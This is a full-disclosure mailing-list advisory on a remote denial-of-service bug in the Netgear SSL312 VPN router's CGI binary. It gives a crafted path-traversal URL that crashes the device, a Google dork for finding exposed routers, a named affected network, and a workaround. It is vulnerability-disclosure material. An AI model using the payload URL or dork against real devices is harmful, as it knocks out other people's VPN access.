Attached to this e-Mail is an advisory related to the Netgear SSL312 VPN router (propably other devices of Netgear are affected as well but this has not been tested). The advisory can also be found at: http://www.helith.net/txt/netgear_ssl312_remote_dos.txt Dear netgear Team: Please consider working together with the OSVDB team to take care of all known issues related to Netgear products or to even just have working contact data avaiable. Kind regards, Rembrandt
_ _ _____ _ ___ _____ _ _
/ / / / ____/ / / _/_ __/ / / /
/ /_/ / __/ / / / / / / / /_/ /
/ __ / /___/ /____/ / / / / __ /
/_/ /_/_____/_____/___/ /_/ /_/ /_/
Helith - 0815
--------------------------------------------------------------------------------
Author : Rembrandt
Date : 2008-02-27
Affected Software: propietary CGI
Affected OS : Netgear embedded Linux for the SSL312 router
Propably other devices are affected as well
Type : Denial of Service
OSVDB :
Milw0rm :
CVE :
ISS X-Force: :
Trying to fix it responsible and get in contact with the vendor:
-- ZDI --
Case Opened 2008-12-28 07:57 GMT-6
Case Closed 2009-01-15 17:01 GMT-6
"After some deliberation we have unfortunately decided that we won't be
accepting bugs affecting NetGear products."
-- END --
Contacting Netgear and mitre.org: 2009-02-01 12:25 GTM+1
No reaction, release : 2009-02-06 23:59 GTM+1
Netgear VPN router SSL312 is proune to a remote DoS condition which can get
triggered if somebody has access to the webinterface of the VPN router.
The problem is related to a propietary CGI binary and makes is impossible
for users to patch the router. Further in detail analyses will show several
other issues like outdated third party software (e.g. the webserver) and further
problems in the cgi-binary itself which won't get disclosed here.
If you download the source code the affected binary can be found at:
./NG_SSL312-GPL/uClinux/uC-src/real/EasyAccess/EasyAccess/www/cgi-bin/single_cgi
Steps to reproduce:
Visit the Netgear SSL312 VPN router webinterface.
You will see a login field and a password field.
Just enter any random data and proceed.
The URL will include a path like:
https://xxx.xxx.xxx.xxx/cgi-bin/welcome/VPN_only?err=VXNlciBMb2dpbiBGYWlsZWQ=
If you modify the URL as below and resend your http request the device will
crash and needs a hard reboot.
https://xxx.xxx.xxx.xxx/cgi-bin/welcome/VPN_only?../../../../../
Example network affected by this: StudiVZ
Simple google dork:
intitle:SSL-VPN intext:password inurl:/cgi-bin/welcome
Workaround:
Preventing others to gain access to the webinterface of the router prevents
the attack.
Kind regards,
Rembrandt
Attachment:
pgpP8es1d_77L.pgp
Description: PGP signature
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/